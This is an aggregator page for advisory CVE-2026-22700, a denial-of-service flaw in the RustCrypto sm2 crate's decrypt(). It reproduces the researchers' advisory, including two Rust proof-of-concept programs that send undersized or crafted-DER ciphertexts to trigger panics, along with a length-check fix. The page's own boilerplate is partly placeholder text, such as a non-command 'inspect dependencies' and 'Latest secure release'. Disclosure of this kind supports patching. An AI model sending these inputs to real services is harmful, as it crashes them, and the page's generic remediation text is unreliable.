CVE-2026-22700: Sm2 RustCrypto Has Insufficient Length Validation Vulnerability

HIGH
Advisory Identifier: GHSA-j9xq-69pf-pcm8
CVSS 7.5
CWE-20
Published
Advisory Summary

CVE-2026-22700 is a HIGH (CVSS 7.5) rustcrypto has insufficient length validation vulnerability (CWE-20: Improper Input Validation) affecting Sm2 libraries in the crates.io ecosystem. The issue involves rustcrypto has insufficient length validation in decrypt() in sm2-pke. Remediation is available in the latest vendor maintenance releases.

CVE-2026-22700 at a Glance

CVE Identifier CVE-2026-22700
GHSA Identifier GHSA-j9xq-69pf-pcm8
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-20: Improper Input Validation
Affected Product Sm2
Package Ecosystem crates.io
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-22700

To remediate this vulnerability, upgrade all affected Sm2 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

sm2 fixed: Latest secure release
Upgrade sm2 to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for sm2

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-22700, inspect your project dependencies for Sm2:

inspect dependencies for sm2

Analyze the terminal output to locate any version of Sm2 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-20: Improper Input Validation, where the product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. In Sm2, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A denial-of-service vulnerability exists in the SM2 public-key encryption (PKE) implementation: the `decrypt()` path performs unchecked `slice::split_at` operations on input buffers derived from untrusted ciphertext. An attacker can submit short/undersized ciphertext or carefully-crafted DER-encoded structures to trigger bounds-check panics (Rust unwinding) which crash the calling thread or process. ### Affected Component / Versions - File: `src/pke/decrypting.rs` - Functions: `DecryptingKey::decrypt_digest/decrypt/decrypt_der`, internal `decrypt()` implementation - Affected releases: - sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0) - sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0) ### Details The vulnerability is located in the file `sm2/src/pke/decrypting.rs`. The **fundamental cause** of the vulnerability is that the decryption function **does not strictly check** the ciphertext's format and length information. Consequently, a maliciously crafted ciphertext can trigger Rust's **panic mechanism** instead of the expected error handling (`Error`) mechanism. The Rust function `C.split_at(L)` will trigger a Panic if the length is less than `L`, as shown in the code comment below: the `decrypting` function has **at least three locations** where a slice operation might trigger a Panic. ```rust fn decrypt( secret_scalar: &Scalar, mode: Mode, hasher: &mut dyn DynDigest, cipher: &[u8], ) -> Result<Vec<u8>> { let q = U256::from_be_hex(FieldElement::MODULUS); let c1_len = q.bits().div_ceil(8) * 2 + 1; // Typically 65 for SM2 // B1: get 𝐶1 from 𝐶 let (c1, c) = cipher.split_at(c1_len as usize); // PANIC HERE if cipher.len() < 65 let encoded_c1 = EncodedPoint::from_bytes(c1).map_err(Error::from)?; // ... (lines 170-178 omitted) let digest_size = hasher.output_size(); // Typically 32 for SM3 let (c2, c3) = match mode { Mode::C1C3C2 => { let (c3, c2) = c.split_at(digest_size); // PANIC HERE if c.len() < 32 (c2, c3) } Mode::C1C2C3 => c.split_at(c.len() - digest_size), // PANIC HERE if c.len() < 32 }; ``` Rust's `slice::split_at` panics when the split index is greater than the slice length. A panic in library code typically unwinds the thread and can crash an application if not explicitly caught. This means an attacker that can submit ciphertexts to a service using this library may cause a DoS. ### Proof of Concept (PoC) Two PoCs were added to this repository under `examples/` demonstrating the two common ways to trigger the issue: - `examples/poc_short_ciphertext.rs` — constructs a deliberately undersized ciphertext (e.g., `vec![0u8; 10]`) and passes it to `DecryptingKey::decrypt`. This triggers the `cipher.split_at(c1_len)` panic. ``` rust //! PoC: trigger panic in SM2 decryption by supplying a ciphertext that is shorter //! than the expected C1 length so that `cipher.split_at(c1_len)` panics. //! //! Usage: //! cargo run --example poc_short_ciphertext use rand_core::OsRng; use sm2::pke::DecryptingKey; use sm2::SecretKey; fn main() { // Generate a normal secret key and DecryptingKey instance. let mut rng = OsRng; let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key"); let dk = DecryptingKey::new(sk); // to trigger the vulnerability in `decrypt()` where it does `cipher.split_at(c1_len)`. let short_ciphertext = vec![0u8; 10]; // deliberately too short println!("Calling decrypt with undersized ciphertext (len = {})...", short_ciphertext.len()); // The panic is the PoC for the lack of length validation. let _ = dk.decrypt(&short_ciphertext); // If the library were robust, this line would be reached and decrypt would return Err. println!("decrypt returned (unexpected) - PoC did not panic"); } ``` - `examples/poc_der_short.rs` — constructs an ASN.1 `Cipher` structure with valid-length `x`/`y` coordinates (from a generated public key) but with tiny `digest` and `cipher` OCTET STRING fields (1 byte each). When run with the crate built with `--features std`, `Cipher::from_der` accepts the DER and the call flows into `decrypt()`, which then panics on the later `split_at`. ``` rust //! Usage: //! RUST_BACKTRACE=1 cargo run --example poc_der_short --features std use rand_core::OsRng; use sm2::SecretKey; use sm2::pke::DecryptingKey; fn build_der(x: &[u8], y: &[u8], digest: &[u8], cipher: &[u8]) -> Vec<u8> { // Build SEQUENCE { INTEGER x, INTEGER y, OCTET STRING digest, OCTET STRING cipher } let mut body = Vec::new(); // INTEGER x body.push(0x02); body.push(x.len() as u8); body.extend_from_slice(x); // INTEGER y body.push(0x02); body.push(y.len() as u8); body.extend_from_slice(y); // OCTET STRING digest (intentionally tiny) body.push(0x04); body.push(digest.len() as u8); body.extend_from_slice(digest); // OCTET STRING cipher (intentionally tiny) body.push(0x04); body.push(cipher.len() as u8); body.extend_from_slice(cipher); // SEQUENCE header let mut der = Vec::new(); der.push(0x30); der.push(body.len() as u8); der.extend(body); der } fn main() { let mut rng = OsRng; let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key"); // Extract recipient public key coordinates before moving the secret key into DecryptingKey let pk = sk.public_key(); let dk = DecryptingKey::new(sk); // get SEC1 encoding 0x04 || X || Y and slice out X and Y let sec1 = pk.to_sec1_bytes(); let sec1_ref: &[u8] = sec1.as_ref(); let x = &sec1_ref[1..33]; let y = &sec1_ref[33..65]; // Very small digest and cipher to trigger length-based panics inside decrypt() let digest = [0x33u8; 1]; let cipher = [0x44u8; 1]; let der = build_der(x, y, &digest, &cipher); println!("Calling decrypt_der with crafted short DER (len={})...", der.len()); // Expected to panic inside decrypt() due to missing length checks when splitting let _ = dk.decrypt_der(&der); println!("decrypt_der returned (unexpected) - PoC did not panic"); } ``` Reproduction (from repository root): ```bash # PoC that directly uses decrypt on a short buffer cargo run --example poc_short_ciphertext --features std # PoC that passes a short DER to decrypt_der RUST_BACKTRACE=1 cargo run --example poc_der_short --features std ``` ### Impact - Direct Denial of Service: remote untrusted input can crash the thread/process handling decryption. - Low attacker effort: crafting short inputs or small DER octet strings is trivial. - Wide exposure: any application that exposes decryption endpoints and links this library is at risk. ### Recommended Fix Perform defensive length checks before any `split_at` usage and return a controlled `Err` instead of allowing a panic. Minimal fixes in `decrypt()`: ```rust let c1_len_usize = c1_len as usize; if cipher.len() < c1_len_usize { return Err(Error); } let (c1, c) = cipher.split_at(c1_len_usize); let digest_size = hasher.output_size(); if c.len() < digest_size { return Err(Error); } let (c2, c3) = match mode { Mode::C1C3C2 => { let (c3, c2) = c.split_at(digest_size); (c2, c3) } Mode::C1C2C3 => c.split_at(c.len() - digest_size), }; ``` After applying these checks, `decrypt()` will return an error for short or malformed inputs instead of panicking. ### **Credit** This vulnerability was discovered by: - XlabAI Team of Tencent Xuanwu Lab - Atuin Automated Vulnerability Discovery Engine CVE and credit are preferred. If you have any questions regarding the vulnerability details, please feel free to reach out to us for further discussion. Our email address is xlabai@tencent.com. ### **Note** We follow the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, we reserve the right to publicly disclose all information about the issues after this timeframe.

CVE-2026-22700 Affected Sm2 Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
sm2
crates.io
≥ 0.14.0-pre.0
≤ 0.14.0-rc.4

References

Frequently Asked Questions

What is CVE-2026-22700?
CVE-2026-22700 is a security vulnerability in Sm2 involving RustCrypto Has Insufficient Length Validation in decrypt() in SM2-PKE under CWE-20: Improper Input Validation.
Which Sm2 versions are affected?
Affected versions include releases prior to current release patches across affected packages: sm2.
What version fixes CVE-2026-22700?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is sm2 affected?
Yes, sm2 is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-22700?
CVE-2026-22700 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-22700?
CVE-2026-22700 is classified under CWE-20: Improper Input Validation (The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.).
How can I check crates.io dependencies for CVE-2026-22700?
Run the dependency tree command: 'inspect dependencies for sm2'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-j9xq-69pf-pcm8",
  "modified" : "2026-01-13T15:02:23Z",
  "published" : "2026-01-13T15:02:23Z",
  "aliases" : [ "CVE-2026-22700" ],
  "summary" : "RustCrypto Has Insufficient Length Validation in decrypt() in SM2-PKE",
  "details" : "### Summary\n\nA denial-of-service vulnerability exists in the SM2 public-key encryption (PKE) implementation: the `decrypt()` path performs unchecked `slice::split_at` operations on input buffers derived from untrusted ciphertext. An attacker can submit short/undersized ciphertext or carefully-crafted DER-encoded structures to trigger bounds-check panics (Rust unwinding) which crash the calling thread or process.\n\n\n### Affected Component / Versions\n\n- File: `src/pke/decrypting.rs`\n\n- Functions: `DecryptingKey::decrypt_digest/decrypt/decrypt_der`, internal `decrypt()` implementation\n\n- Affected releases: \n  \n  - sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)\n  - sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)\n  \n  \n\n\n### Details\n\nThe vulnerability is located in the file `sm2/src/pke/decrypting.rs`. The **fundamental cause** of the vulnerability is that the decryption function **does not strictly check** the ciphertext's format and length information. Consequently, a maliciously crafted ciphertext can trigger Rust's **panic mechanism** instead of the expected error handling (`Error`) mechanism. The Rust function `C.split_at(L)` will trigger a Panic if the length is less than `L`, as shown in the code comment below: the `decrypting` function has **at least three locations** where a slice operation might trigger a Panic.\n\n```rust\nfn decrypt(\n    secret_scalar: &Scalar,\n    mode: Mode,\n    hasher: &mut dyn DynDigest,\n    cipher: &[u8],\n) -> Result<Vec<u8>> {\n    let q = U256::from_be_hex(FieldElement::MODULUS);\n    let c1_len = q.bits().div_ceil(8) * 2 + 1;  // Typically 65 for SM2\n\n    // B1: get 𝐶1 from 𝐶\n    let (c1, c) = cipher.split_at(c1_len as usize);  // PANIC HERE if cipher.len() < 65\n    let encoded_c1 = EncodedPoint::from_bytes(c1).map_err(Error::from)?;\n\n    // ... (lines 170-178 omitted)\n\n    let digest_size = hasher.output_size();  // Typically 32 for SM3\n    let (c2, c3) = match mode {\n        Mode::C1C3C2 => {\n            let (c3, c2) = c.split_at(digest_size);  // PANIC HERE if c.len() < 32\n            (c2, c3)\n        }\n        Mode::C1C2C3 => c.split_at(c.len() - digest_size),  // PANIC HERE if c.len() < 32\n    };\n\n```\n\nRust's `slice::split_at` panics when the split index is greater than the slice length. A panic in library code typically unwinds the thread and can crash an application if not explicitly caught. This means an attacker that can submit ciphertexts to a service using this library may cause a DoS.\n\n\n\n\n### Proof of Concept (PoC)\n\nTwo PoCs were added to this repository under `examples/` demonstrating the two\ncommon ways to trigger the issue:\n\n- `examples/poc_short_ciphertext.rs` — constructs a deliberately undersized\n  ciphertext (e.g., `vec![0u8; 10]`) and passes it to `DecryptingKey::decrypt`.\n  This triggers the `cipher.split_at(c1_len)` panic.\n\n  ``` rust\n  //! PoC: trigger panic in SM2 decryption by supplying a ciphertext that is shorter\n  //! than the expected C1 length so that `cipher.split_at(c1_len)` panics.\n  //!\n  //! Usage:\n  //!   cargo run --example poc_short_ciphertext\n  \n  use rand_core::OsRng;\n  \n  use sm2::pke::DecryptingKey;\n  use sm2::SecretKey;\n  \n  fn main() {\n      // Generate a normal secret key and DecryptingKey instance.\n      let mut rng = OsRng;\n      let sk = SecretKey::try_from_rng(&mut rng).expect(\"failed to generate secret key\");\n      let dk = DecryptingKey::new(sk);\n  \n      // to trigger the vulnerability in `decrypt()` where it does `cipher.split_at(c1_len)`.\n      let short_ciphertext = vec![0u8; 10]; // deliberately too short\n  \n      println!(\"Calling decrypt with undersized ciphertext (len = {})...\", short_ciphertext.len());\n  \n      // The panic is the PoC for the lack of length validation.\n      let _ = dk.decrypt(&short_ciphertext);\n  \n      // If the library were robust, this line would be reached and decrypt would return Err.\n      println!(\"decrypt returned (unexpected) - PoC did not panic\");\n  }\n  ```\n  \n  \n  \n- `examples/poc_der_short.rs` — constructs an ASN.1 `Cipher` structure with\n  valid-length `x`/`y` coordinates (from a generated public key) but with tiny\n  `digest` and `cipher` OCTET STRING fields (1 byte each). When run with the\n  crate built with `--features std`, `Cipher::from_der` accepts the DER and the\n  call flows into `decrypt()`, which then panics on the later `split_at`.\n  \n  ``` rust\n  //! Usage:\n  //!   RUST_BACKTRACE=1 cargo run --example poc_der_short --features std\n  \n  use rand_core::OsRng;\n  use sm2::SecretKey;\n  use sm2::pke::DecryptingKey;\n  \n  fn build_der(x: &[u8], y: &[u8], digest: &[u8], cipher: &[u8]) -> Vec<u8> {\n      // Build SEQUENCE { INTEGER x, INTEGER y, OCTET STRING digest, OCTET STRING cipher }\n      let mut body = Vec::new();\n  \n      // INTEGER x\n      body.push(0x02);\n      body.push(x.len() as u8);\n      body.extend_from_slice(x);\n  \n      // INTEGER y\n      body.push(0x02);\n      body.push(y.len() as u8);\n      body.extend_from_slice(y);\n  \n      // OCTET STRING digest (intentionally tiny)\n      body.push(0x04);\n      body.push(digest.len() as u8);\n      body.extend_from_slice(digest);\n  \n      // OCTET STRING cipher (intentionally tiny)\n      body.push(0x04);\n      body.push(cipher.len() as u8);\n      body.extend_from_slice(cipher);\n  \n      // SEQUENCE header\n      let mut der = Vec::new();\n      der.push(0x30);\n      der.push(body.len() as u8);\n      der.extend(body);\n      der\n  }\n  \n  fn main() {\n      let mut rng = OsRng;\n      let sk = SecretKey::try_from_rng(&mut rng).expect(\"failed to generate secret key\");\n      // Extract recipient public key coordinates before moving the secret key into DecryptingKey\n      let pk = sk.public_key();\n      let dk = DecryptingKey::new(sk);\n      // get SEC1 encoding 0x04 || X || Y and slice out X and Y\n      let sec1 = pk.to_sec1_bytes();\n      let sec1_ref: &[u8] = sec1.as_ref();\n      let x = &sec1_ref[1..33];\n      let y = &sec1_ref[33..65];\n      // Very small digest and cipher to trigger length-based panics inside decrypt()\n      let digest = [0x33u8; 1];\n      let cipher = [0x44u8; 1];\n  \n      let der = build_der(x, y, &digest, &cipher);\n  \n      println!(\"Calling decrypt_der with crafted short DER (len={})...\", der.len());\n  \n      // Expected to panic inside decrypt() due to missing length checks when splitting\n      let _ = dk.decrypt_der(&der);\n  \n      println!(\"decrypt_der returned (unexpected) - PoC did not panic\");\n  }\n  ```\n  \n  \n\nReproduction (from repository root):\n\n```bash\n# PoC that directly uses decrypt on a short buffer\ncargo run --example poc_short_ciphertext --features std\n\n# PoC that passes a short DER to decrypt_der\nRUST_BACKTRACE=1 cargo run --example poc_der_short --features std\n```\n\n\n\n\n### Impact\n\n- Direct Denial of Service: remote untrusted input can crash the thread/process handling decryption.\n- Low attacker effort: crafting short inputs or small DER octet strings is trivial.\n- Wide exposure: any application that exposes decryption endpoints and links this library is at risk.\n\n\n### Recommended Fix\n\nPerform defensive length checks before any `split_at` usage and return a controlled `Err` instead of allowing a panic. Minimal fixes in `decrypt()`:\n\n```rust\nlet c1_len_usize = c1_len as usize;\nif cipher.len() < c1_len_usize {\n    return Err(Error);\n}\nlet (c1, c) = cipher.split_at(c1_len_usize);\n\nlet digest_size = hasher.output_size();\nif c.len() < digest_size {\n    return Err(Error);\n}\nlet (c2, c3) = match mode {\n    Mode::C1C3C2 => {\n        let (c3, c2) = c.split_at(digest_size);\n        (c2, c3)\n    }\n    Mode::C1C2C3 => c.split_at(c.len() - digest_size),\n};\n```\n\nAfter applying these checks, `decrypt()` will return an error for short or malformed inputs instead of panicking.\n\n\n\n### **Credit**\n\nThis vulnerability was discovered by:\n\n- XlabAI Team of Tencent Xuanwu Lab\n\n- Atuin Automated Vulnerability Discovery Engine\n\nCVE and credit are preferred.\n\nIf you have any questions regarding the vulnerability details, please feel free to reach out to us for further discussion. Our email address is xlabai@tencent.com.\n\n \n\n### **Note**\n\nWe follow the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, we reserve the right to publicly disclose all information about the issues after this timeframe.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "crates.io",
      "name" : "sm2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.14.0-pre.0"
      }, {
        "last_affected" : "0.14.0-rc.4"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/RustCrypto/elliptic-curves/security/advisories/GHSA-j9xq-69pf-pcm8"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-22700"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/RustCrypto/elliptic-curves/pull/1603"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/RustCrypto/elliptic-curves/commit/e60e99167a9a2b187ebe80c994c5204b0fdaf4ab"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/RustCrypto/elliptic-curves"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-20" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-01-13T15:02:23Z",
    "nvd_published_at" : "2026-01-10T06:15:52Z"
  }
}